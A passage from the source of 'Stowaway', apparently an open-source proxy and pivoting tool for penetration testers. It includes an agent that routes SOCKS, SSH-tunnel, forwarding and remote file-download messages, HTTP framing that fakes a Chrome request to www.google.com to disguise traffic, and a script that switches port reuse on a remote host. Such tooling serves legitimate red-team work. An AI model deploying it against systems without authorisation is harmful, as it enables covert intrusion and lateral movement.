protocol.SSHTUNNELREQ: 120 | agent.mgr.SSHTunnelManager.SSHTunnelMessChan <- message 121 | case protocol.FILESTATREQ: 122 | fallthrough 123 | case protocol.FILESTATRES: 124 | fallthrough 125 | case protocol.FILEDATA: 126 | fallthrough 127 | case protocol.FILEERR: 128 | fallthrough 129 | case protocol.FILEDOWNREQ: 130 | agent.mgr.FileManager.FileMessChan <- message 131 | case protocol.SOCKSSTART: 132 | fallthrough 133 | case protocol.SOCKSTCPDATA: 134 | fallthrough 135 | case protocol.SOCKSTCPFIN: 136 | fallthrough 137 | case protocol.UDPASSRES: 138 | fallthrough 139 | case protocol.SOCKSUDPDATA: 140 | agent.mgr.SocksManager.SocksMessChan <- message 141 | case protocol.FORWARDTEST: 142 | fallthrough 143 | case protocol.FORWARDSTART: 144 | fallthrough 145 | case protocol.FORWARDDATA: 146 | fallthrough 147 | case protocol.FORWARDFIN: 148 | agent.mgr.ForwardManager.ForwardMessChan <- message 149 | case protocol.BACKWARDTEST: 150 | fallthrough 151 | case protocol.BACKWARDSEQ: 152 | fallthrough 153 | case protocol.BACKWARDFIN: 154 | fallthrough 155 | case protocol.BACKWARDSTOP: 156 | fallthrough 157 | case protocol.BACKWARDDATA: 158 | agent.mgr.BackwardManager.BackwardMessChan <- message 159 | case protocol.CHILDUUIDRES: 160 | fallthrough 161 | case protocol.LISTENREQ: 162 | agent.mgr.ListenManager.ListenMessChan <- message 163 | case protocol.CONNECTSTART: 164 | agent.mgr.ConnectManager.ConnectMessChan <- message 165 | case protocol.UPSTREAMOFFLINE: 166 | fallthrough 167 | case protocol.UPSTREAMREONLINE: 168 | agent.mgr.OfflineManager.OfflineMessChan <- message 169 | case protocol.SHUTDOWN: 170 | os.Exit(0) 171 | case protocol.HEARTBEAT: 172 | default: 173 | log.Println("[*] Unknown Message!") 174 | } 175 | } else { 176 | agent.childrenMessChan <- &ChildrenMess{ 177 | cHeader: header, 178 | cMessage: message.([]byte), 179 | } 180 | } 181 | } 182 | } 183 | 184 | func (agent *Agent) dispatchChildrenMess() { 185 | for { 186 | childrenMess := <-agent.childrenMessChan 187 | 188 | childUUID := changeRoute(childrenMess.cHeader) 189 | 190 | task := &manager.ChildrenTask{ 191 | Mode: manager.C_GETCONN, 192 | UUID: childUUID, 193 | } 194 | agent.mgr.ChildrenManager.TaskChan <- task 195 | result := <-agent.mgr.ChildrenManager.ResultChan 196 | if !result.OK { 197 | continue 198 | } 199 | 200 | sMessage := protocol.NewDownMsg(result.Conn, global.G_Component.Secret, global.G_Component.UUID) 201 | 202 | protocol.ConstructMessage(sMessage, childrenMess.cHeader, childrenMess.cMessage, true) 203 | sMessage.SendMessage() 204 | } 205 | } 206 | 207 | func (agent *Agent) waitingChild() { 208 | for { 209 | childInfo := <-agent.mgr.ChildrenManager.ChildComeChan 210 | go agent.handleDataFromDownstream(childInfo.Conn, childInfo.UUID) 211 | } 212 | } 213 | 214 | func (agent *Agent) handleDataFromDownstream(conn net.Conn, uuid string) { 215 | rMessage := protocol.NewDownMsg(conn, global.G_Component.Secret, global.G_Component.UUID) 216 | 217 | for { 218 | header, message, err := protocol.DestructMessage(rMessage) 219 | if err != nil { 220 | downStreamOffline(agent.mgr, agent.options, uuid) 221 | return 222 | } 223 | 224 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 225 | 226 | protocol.ConstructMessage(sMessage, header, message, true) 227 | sMessage.SendMessage() 228 | } 229 | } 230 | 231 | func changeRoute(header *protocol.Header) string { 232 | route := header.Route 233 | // find next uuid 234 | routes := strings.Split(route, ":") 235 | if len(routes) == 1 { 236 | header.Route = "" 237 | header.RouteLen = 0 238 | return routes[0] 239 | } 240 | 241 | header.Route = strings.Join(routes[1:], ":") 242 | header.RouteLen = uint32(len(header.Route)) 243 | return routes[0] 244 | 245 | } 246 | -------------------------------------------------------------------------------- /ansicon/ansi189-bin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ph4ntonn/Stowaway/c22010f9a5166945c14b7ffacfb28fafbf938c78/ansicon/ansi189-bin.zip -------------------------------------------------------------------------------- /crypto/aes.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "io" 9 | ) 10 | 11 | // 2021.10.1 Switch AES-CBC to AES-GCM 12 | // Faster(serial computing to parallel computing) and safer(avoid Padding Oracle Attack) 13 | 14 | func KeyPadding(key []byte) []byte { 15 | // if no key,just return 16 | if string(key) == "" { 17 | return nil 18 | } 19 | // if key is set & == 32 bytes, return it 20 | keyLength := len(key) 21 | if keyLength > 32 { 22 | return key[:32] 23 | } 24 | // if key < 32 bytes, pad it 25 | padding := 32 - keyLength 26 | padText := bytes.Repeat([]byte{byte(0)}, padding) 27 | return append(key, padText...) 28 | } 29 | 30 | func genNonce(nonceSize int) []byte { 31 | nonce := make([]byte, nonceSize) 32 | io.ReadFull(rand.Reader, nonce) 33 | return nonce 34 | } 35 | 36 | func AESDecrypt(cryptedData, key []byte) []byte { 37 | if key == nil { 38 | return cryptedData 39 | } 40 | 41 | block, _ := aes.NewCipher(key) 42 | gcm, _ := cipher.NewGCM(block) 43 | nonceSize := gcm.NonceSize() 44 | nonce, cryptedData := cryptedData[:nonceSize], cryptedData[nonceSize:] 45 | origData, _ := gcm.Open(nil, nonce, cryptedData, nil) 46 | return origData 47 | } 48 | 49 | func AESEncrypt(origData, key []byte) []byte { 50 | if key == nil { 51 | return origData 52 | } 53 | 54 | block, _ := aes.NewCipher(key) 55 | gcm, _ := cipher.NewGCM(block) 56 | nonce := genNonce(gcm.NonceSize()) 57 | return gcm.Seal(nonce, nonce, origData, nil) 58 | } 59 | -------------------------------------------------------------------------------- /crypto/gzip.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "io/ioutil" 7 | ) 8 | 9 | // Thx to code from @lz520520 10 | func GzipCompress(src []byte) []byte { 11 | var in bytes.Buffer 12 | w := gzip.NewWriter(&in) 13 | w.Write(src) 14 | w.Close() 15 | return in.Bytes() 16 | } 17 | 18 | func GzipDecompress(src []byte) []byte { 19 | dst := make([]byte, 0) 20 | br := bytes.NewReader(src) 21 | gr, err := gzip.NewReader(br) 22 | if err != nil { 23 | return dst 24 | } 25 | defer gr.Close() 26 | tmp, err := ioutil.ReadAll(gr) 27 | if err != nil { 28 | return dst 29 | } 30 | dst = tmp 31 | return dst 32 | } 33 | -------------------------------------------------------------------------------- /global/global.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "net" 5 | 6 | "Stowaway/protocol" 7 | ) 8 | 9 | var G_TLSEnable bool 10 | var G_Component *protocol.MessageComponent 11 | 12 | func InitialGComponent(conn net.Conn, secret, uuid string) { 13 | G_Component = &protocol.MessageComponent{ 14 | Secret: secret, 15 | Conn: conn, 16 | UUID: uuid, 17 | } 18 | } 19 | 20 | func UpdateGComponent(conn net.Conn) { 21 | G_Component.Conn = conn 22 | } 23 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module Stowaway 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/cheggaaa/pb v2.0.7+incompatible 7 | github.com/davecgh/go-spew v1.1.1 // indirect 8 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 9 | github.com/fatih/color v1.10.0 10 | github.com/gofrs/uuid v4.0.0+incompatible 11 | github.com/libp2p/go-reuseport v0.0.2 12 | github.com/nsf/termbox-go v1.1.0 13 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee 14 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad // indirect 15 | golang.org/x/text v0.3.0 16 | gopkg.in/VividCortex/ewma.v1 v1.1.1 // indirect 17 | gopkg.in/cheggaaa/pb.v2 v2.0.7 // indirect 18 | gopkg.in/fatih/color.v1 v1.7.0 // indirect 19 | gopkg.in/mattn/go-colorable.v0 v0.1.0 // indirect 20 | gopkg.in/mattn/go-isatty.v0 v0.0.4 // indirect 21 | gopkg.in/mattn/go-runewidth.v0 v0.0.4 // indirect 22 | ) 23 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cheggaaa/pb v2.0.7+incompatible h1:gLKifR1UkZ/kLkda5gC0K6c8g+jU2sINPtBeOiNlMhU= 2 | github.com/cheggaaa/pb v2.0.7+incompatible/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 h1:jdjd5e68T4R/j4PWxfZqcKY8KtT9oo8IPNVuV4bSXDQ= 7 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807/go.mod h1:Xoiu5VdKMvbRgHuY7+z64lhu/7lvax/22nzASF6GrO8= 8 | github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg= 9 | github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= 10 | github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= 11 | github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= 12 | github.com/libp2p/go-reuseport v0.0.2 h1:XSG94b1FJfGA01BUrT82imejHQyTxO4jEWqheyCXYvU= 13 | github.com/libp2p/go-reuseport v0.0.2/go.mod h1:SPD+5RwGC7rcnzngoYC86GjPzjSywuQyMVAheVBD9nQ= 14 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= 15 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 16 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 17 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 18 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 19 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 20 | github.com/nsf/termbox-go v1.1.0 h1:R+GIXVMaDxDQ2VHem5vO5h0mI8ZxLECTUNw1ZzXODzI= 21 | github.com/nsf/termbox-go v1.1.0/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= 22 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 23 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 24 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 25 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 26 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 27 | github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4= 28 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 29 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 30 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee h1:4yd7jl+vXjalO5ztz6Vc1VADv+S/80LGJmyl1ROJ2AI= 31 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 32 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 33 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 34 | golang.org/x/sys v0.0.0-20190228124157-a34e9553db1e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 35 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 36 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 37 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 38 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad h1:MCsdmFSdEd4UEa5TKS5JztCRHK/WtvNei1edOj5RSRo= 39 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 40 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= 41 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 42 | gopkg.in/VividCortex/ewma.v1 v1.1.1 h1:tWHEKkKq802K/JT9RiqGCBU5fW3raAPnJGTE9ostZvg= 43 | gopkg.in/VividCortex/ewma.v1 v1.1.1/go.mod h1:TekXuFipeiHWiAlO1+wSS23vTcyFau5u3rxXUSXj710= 44 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 45 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 46 | gopkg.in/cheggaaa/pb.v2 v2.0.7 h1:beaAg8eacCdMQS9Y7obFEtkY7gQl0uZ6Zayb3ry41VY= 47 | gopkg.in/cheggaaa/pb.v2 v2.0.7/go.mod h1:0CiZ1p8pvtxBlQpLXkHuUTpdJ1shm3OqCF1QugkjHL4= 48 | gopkg.in/fatih/color.v1 v1.7.0 h1:bYGjb+HezBM6j/QmgBfgm1adxHpzzrss6bj4r9ROppk= 49 | gopkg.in/fatih/color.v1 v1.7.0/go.mod h1:P7yosIhqIl/sX8J8UypY5M+dDpD2KmyfP5IRs5v/fo0= 50 | gopkg.in/mattn/go-colorable.v0 v0.1.0 h1:WYuADWvfvYC07fm8ygYB3LMcsc5CunpxfMGKawHkAos= 51 | gopkg.in/mattn/go-colorable.v0 v0.1.0/go.mod h1:BVJlBXzARQxdi3nZo6f6bnl5yR20/tOL6p+V0KejgSY= 52 | gopkg.in/mattn/go-isatty.v0 v0.0.4 h1:NtS1rQGQr4IaFWBGz4Cz4BhB///gyys4gDVtKA7hIsc= 53 | gopkg.in/mattn/go-isatty.v0 v0.0.4/go.mod h1:wt691ab7g0X4ilKZNmMII3egK0bTxl37fEn/Fwbd8gc= 54 | gopkg.in/mattn/go-runewidth.v0 v0.0.4 h1:r0P71TnzQDlNIcizCqvPSSANoFa3WVGtcNJf3TWurcY= 55 | gopkg.in/mattn/go-runewidth.v0 v0.0.4/go.mod h1:BmXejnxvhwdaATwiJbB1vZ2dtXkQKZGu9yLFCZb4msQ= 56 | gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= 57 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 58 | -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ph4ntonn/Stowaway/c22010f9a5166945c14b7ffacfb28fafbf938c78/img/logo.png -------------------------------------------------------------------------------- /protocol/http.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | // http.go is deprecated 4 | // Just keep this for sample 5 | 6 | import ( 7 | "fmt" 8 | "io" 9 | 10 | "Stowaway/utils" 11 | ) 12 | 13 | type HTTPProto struct{} 14 | 15 | type HTTPMessage struct { 16 | HTTPHeader []byte 17 | *RawMessage 18 | } 19 | 20 | func (proto *HTTPProto) CNegotiate() error { return nil } 21 | 22 | func (proto *HTTPProto) SNegotiate() error { return nil } 23 | 24 | var partOne []string = []string{ 25 | "POST /message/%s?number=%d&length=%d", 26 | "POST /uploads/%s?number=%d&length=%d", 27 | "POST /request/%s?number=%d&length=%d", 28 | "POST /hellowd/%s?number=%d&length=%d", 29 | } 30 | 31 | func (message *HTTPMessage) ConstructHeader() { 32 | reqHeaderPartOne := partOne[utils.GetRandomInt(4)] 33 | 34 | reqHeaderPartTwo := " HTTP/1.1\r\n" + 35 | "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\r\n" + 36 | "Host: www.google.com\r\n" + 37 | "Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7\r\n" + 38 | "Accept-Encoding: gzip, deflate, br\r\n" + 39 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n" + 40 | "Content-Length: %d\r\n" + 41 | "\r\n" 42 | 43 | dataLen := len(message.RawMessage.DataBuffer) 44 | headerLen := len(message.RawMessage.HeaderBuffer) 45 | 46 | partTwoHeader := fmt.Sprintf(reqHeaderPartTwo, dataLen+headerLen) 47 | partTwoHeaderLen := len(partTwoHeader) 48 | 49 | partOneHeader := fmt.Sprintf(reqHeaderPartOne, utils.GetRandomString(6), utils.GetDigitLen(partTwoHeaderLen), partTwoHeaderLen) 50 | 51 | message.HTTPHeader = []byte(partOneHeader + partTwoHeader) 52 | } 53 | 54 | func (message *HTTPMessage) DeconstructHeader() { 55 | uselessBuf := make([]byte, 28) 56 | io.ReadFull(message.RawMessage.Conn, uselessBuf) 57 | 58 | numberBuf := make([]byte, 1) 59 | io.ReadFull(message.RawMessage.Conn, numberBuf) 60 | 61 | number, _ := utils.Str2Int(string(numberBuf)) 62 | 63 | uselessBuf = make([]byte, 8) 64 | io.ReadFull(message.RawMessage.Conn, uselessBuf) 65 | 66 | lengthBuf := make([]byte, number) 67 | io.ReadFull(message.RawMessage.Conn, lengthBuf) 68 | 69 | length, _ := utils.Str2Int(string(lengthBuf)) 70 | 71 | contentBuf := make([]byte, length) 72 | io.ReadFull(message.RawMessage.Conn, contentBuf) 73 | } 74 | 75 | func (message *HTTPMessage) SendMessage() { 76 | finalBuffer := append(message.HTTPHeader, message.HeaderBuffer...) 77 | finalBuffer = append(finalBuffer, message.DataBuffer...) 78 | message.RawMessage.Conn.Write(finalBuffer) 79 | // Don't forget to set both Buffer to nil!!! 80 | message.HeaderBuffer = nil 81 | message.DataBuffer = nil 82 | message.HTTPHeader = nil 83 | } 84 | -------------------------------------------------------------------------------- /protocol/websocket.go: -------------------------------------------------------------------------------- 1 | package protocol 2 | 3 | import ( 4 | "bytes" 5 | "crypto/rand" 6 | "crypto/sha1" 7 | "encoding/base64" 8 | "errors" 9 | "fmt" 10 | "io" 11 | "net" 12 | "regexp" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | // TODO: The WebSocket data frames still have some issues See: https://datatracker.ietf.org/doc/html/rfc6455#section-5. 18 | // But in actual testing, the NGINX reverse proxy works fine. Let's temporarily enable it, and if any issues arise, we can make improvements later. 19 | const websocketGUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" 20 | const websocketPath = "/deadbeef" 21 | 22 | type WSProto struct { 23 | domain string 24 | conn net.Conn 25 | *RawProto 26 | } 27 | 28 | func (proto *WSProto) CNegotiate() error { 29 | defer proto.conn.SetReadDeadline(time.Time{}) 30 | proto.conn.SetReadDeadline(time.Now().Add(10 * time.Second)) 31 | 32 | nonce := generateNonce() 33 | expectedAccept, err := getNonceAccept(nonce) 34 | if err != nil { 35 | return err 36 | } 37 | 38 | // 发送websocket头 39 | wsHeaders := fmt.Sprintf(`GET %s HTTP/1.1 40 | Host: %s 41 | Upgrade: websocket 42 | Connection: Upgrade 43 | Sec-WebSocket-Key: %s 44 | Origin: https://google.com 45 | Sec-WebSocket-Version: 13 46 | 47 | `, websocketPath, proto.domain, nonce) 48 | 49 | wsHeaders = strings.ReplaceAll(wsHeaders, "\n", "\r\n") 50 | proto.conn.Write([]byte(wsHeaders)) 51 | 52 | var ptr int 53 | result := bytes.Buffer{} 54 | buf := make([]byte, 1024) 55 | 56 | for { 57 | count, err := proto.conn.Read(buf) 58 | if err != nil { 59 | if err == io.EOF && count > 0 { 60 | result.Write(buf[:count]) 61 | } else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() { 62 | return err 63 | } 64 | break 65 | } 66 | 67 | if count > 0 { 68 | result.Write(buf[ptr : ptr+count]) 69 | ptr += count 70 | if bytes.HasSuffix(buf[:ptr], []byte("\r\n\r\n")) { 71 | break 72 | } 73 | } 74 | } 75 | 76 | resp := result.String() 77 | if !strings.Contains(resp, "Upgrade: websocket") || 78 | !strings.Contains(resp, "Connection: Upgrade") || 79 | !strings.Contains(resp, "Sec-WebSocket-Accept: "+string(expectedAccept)) { 80 | return errors.New("not websocket protocol") 81 | } 82 | 83 | return nil 84 | } 85 | 86 | func (proto *WSProto) SNegotiate() error { 87 | defer proto.conn.SetReadDeadline(time.Time{}) 88 | proto.conn.SetReadDeadline(time.Now().Add(10 * time.Second)) 89 | 90 | var ptr int 91 | result := bytes.Buffer{} 92 | buf := make([]byte, 1024) 93 | 94 | for { 95 | count, err := proto.conn.Read(buf) 96 | if err != nil { 97 | if err == io.EOF && count > 0 { 98 | result.Write(buf[:count]) 99 | } else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() { 100 | return err 101 | } 102 | break 103 | } 104 | 105 | if count > 0 { 106 | result.Write(buf[ptr : ptr+count]) 107 | ptr += count 108 | if bytes.HasSuffix(buf[:ptr], []byte("\r\n\r\n")) { 109 | break 110 | } 111 | } 112 | } 113 | 114 | re := regexp.MustCompile(`Sec-WebSocket-Key: (.*)`) 115 | tkey := re.FindStringSubmatch(strings.ReplaceAll(result.String(), "\r\n", "\n")) 116 | if len(tkey) < 2 { 117 | return errors.New("Sec-Websocket-Key is not in header") 118 | } 119 | 120 | key := tkey[1] 121 | expectedAccept, err := getNonceAccept([]byte(key)) 122 | if err != nil { 123 | return err 124 | } 125 | 126 | respHeaders := fmt.Sprintf(`HTTP/1.1 101 Switching Protocols 127 | Connection: Upgrade 128 | Upgrade: websocket 129 | Sec-WebSocket-Accept: %s 130 | 131 | `, expectedAccept) 132 | 133 | respHeaders = strings.ReplaceAll(respHeaders, "\n", "\r\n") 134 | proto.conn.Write([]byte(respHeaders)) 135 | return nil 136 | } 137 | 138 | type WSMessage struct { 139 | *RawMessage 140 | } 141 | 142 | func generateNonce() (nonce []byte) { 143 | key := make([]byte, 16) 144 | if _, err := io.ReadFull(rand.Reader, key); err != nil { 145 | panic(err) 146 | } 147 | nonce = make([]byte, 24) 148 | base64.StdEncoding.Encode(nonce, key) 149 | return 150 | } 151 | 152 | func getNonceAccept(nonce []byte) (expected []byte, err error) { 153 | h := sha1.New() 154 | if _, err = h.Write(nonce); err != nil { 155 | return 156 | } 157 | if _, err = h.Write([]byte(websocketGUID)); err != nil { 158 | return 159 | } 160 | expected = make([]byte, 28) 161 | base64.StdEncoding.Encode(expected, h.Sum(nil)) 162 | return 163 | } 164 | -------------------------------------------------------------------------------- /script/reuse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import socket 5 | import argparse 6 | import sys 7 | import hashlib 8 | 9 | # eg: when start node like: ./linux_x64_agent --report 80 -l 10000 -s ph4ntom ,set SECRET = "ph4ntom" 10 | SECRET = "" # set SECRET as you secret key(-s option) ,if you do not set the -s option,just leave it like SECRET = "" 11 | 12 | # Usage: 13 | # python reuse.py --start --rhost 192.168.1.2 --rport 80 Start the port reuse function 14 | # python reuse.py --stop --rhost 192.168.1.2 --rport 80 Stop the port reuse function 15 | 16 | parser = argparse.ArgumentParser(description='start/stop iptables port reuse') 17 | parser.add_argument('--start', help='start port reusing', action='store_true') 18 | parser.add_argument('--stop', help='stop port reusing', action='store_true') 19 | parser.add_argument('--rhost', help='remote host', dest='ip') 20 | parser.add_argument('--rport', help='remote port', dest='port') 21 | 22 | first_checkcode = hashlib.md5(SECRET.encode()).hexdigest() 23 | second_checkcode = hashlib.md5(first_checkcode.encode()).hexdigest() 24 | final_checkcode = first_checkcode[:24] + second_checkcode[:24] 25 | 26 | START_PORT_REUSE = final_checkcode[16:32] 27 | STOP_PORT_REUSE = final_checkcode[32:] 28 | 29 | options = parser.parse_args() 30 | 31 | data = "" 32 | 33 | if options.start: 34 | data = START_PORT_REUSE 35 | elif options.stop: 36 | data = STOP_PORT_REUSE 37 | else: 38 | parser.print_help() 39 | sys.exit(0) 40 | 41 | try: 42 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 43 | s.settimeout(2) 44 | s.connect((options.ip, int(options.port))) 45 | s.send(data.encode()) 46 | except: 47 | print("[*] Cannot connect to target") 48 | 49 | try: 50 | s.recv(1024) 51 | except: 52 | pass 53 | 54 | s.close() 55 | 56 | print("[*] Done!") -------------------------------------------------------------------------------- /share/file.go: -------------------------------------------------------------------------------- 1 | package share 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "os" 7 | "runtime" 8 | 9 | "Stowaway/global" 10 | "Stowaway/protocol" 11 | ) 12 | 13 | const ( 14 | ADMIN = iota 15 | AGENT 16 | // status 17 | START 18 | ADD 19 | DONE 20 | ) 21 | 22 | type MyFile struct { 23 | FileName string 24 | FilePath string 25 | FileSize int64 26 | SliceSize int64 27 | SliceNum uint64 28 | ErrChan chan bool 29 | DataChan chan []byte 30 | StatusChan chan *Status 31 | Handler *os.File 32 | } 33 | 34 | type Status struct { 35 | Stat int 36 | Scale int64 37 | } 38 | 39 | func NewFile() *MyFile { 40 | file := new(MyFile) 41 | file.SliceSize = 30720 42 | file.ErrChan = make(chan bool) 43 | file.DataChan = make(chan []byte) 44 | file.StatusChan = make(chan *Status, 10) // Give buffer,make sure file transmitting won't be blocked when passing Status to admin 45 | return file 46 | } 47 | 48 | func (file *MyFile) SendFileStat(route string, targetUUID string, identity int) error { 49 | var err error 50 | var sMessage protocol.Message 51 | if identity == ADMIN { 52 | sMessage = protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 53 | } else { 54 | sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 55 | } 56 | 57 | statHeader := &protocol.Header{ 58 | Sender: global.G_Component.UUID, 59 | Accepter: targetUUID, 60 | MessageType: protocol.FILESTATREQ, 61 | RouteLen: uint32(len([]byte(route))), 62 | Route: route, 63 | } 64 | 65 | downHeader := &protocol.Header{ 66 | Sender: global.G_Component.UUID, 67 | Accepter: targetUUID, 68 | MessageType: protocol.FILEDOWNRES, 69 | RouteLen: uint32(len([]byte(route))), 70 | Route: route, 71 | } 72 | 73 | defer func() { 74 | if err != nil && identity == AGENT { 75 | fileDownResMess := &protocol.FileDownRes{ 76 | OK: 0, 77 | } 78 | protocol.ConstructMessage(sMessage, downHeader, fileDownResMess, false) 79 | sMessage.SendMessage() 80 | } 81 | }() 82 | 83 | fileHandler, err := os.Open(file.FilePath) 84 | if err != nil { 85 | return err 86 | } 87 | file.Handler = fileHandler 88 | 89 | fileInfo, err := fileHandler.Stat() 90 | if err != nil { 91 | fileHandler.Close() 92 | return err 93 | } 94 | 95 | file.FileSize = fileInfo.Size() 96 | fileSliceNum := file.FileSize / file.SliceSize 97 | remain := file.FileSize % file.SliceSize 98 | if remain != 0 { 99 | fileSliceNum++ 100 | } 101 | 102 | fileStatReqMess := &protocol.FileStatReq{ 103 | FilenameLen: uint32(len([]byte(file.FileName))), 104 | Filename: file.FileName, 105 | FileSize: uint64(file.FileSize), 106 | SliceNum: uint64(fileSliceNum), 107 | } 108 | 109 | protocol.ConstructMessage(sMessage, statHeader, fileStatReqMess, false) 110 | sMessage.SendMessage() 111 | 112 | return nil 113 | } 114 | 115 | func (file *MyFile) CheckFileStat(route string, targetUUID string, identity int) error { 116 | var err error 117 | var sMessage protocol.Message 118 | 119 | if identity == ADMIN { 120 | sMessage = protocol.NewDownMsg(global.G_Component.Conn, 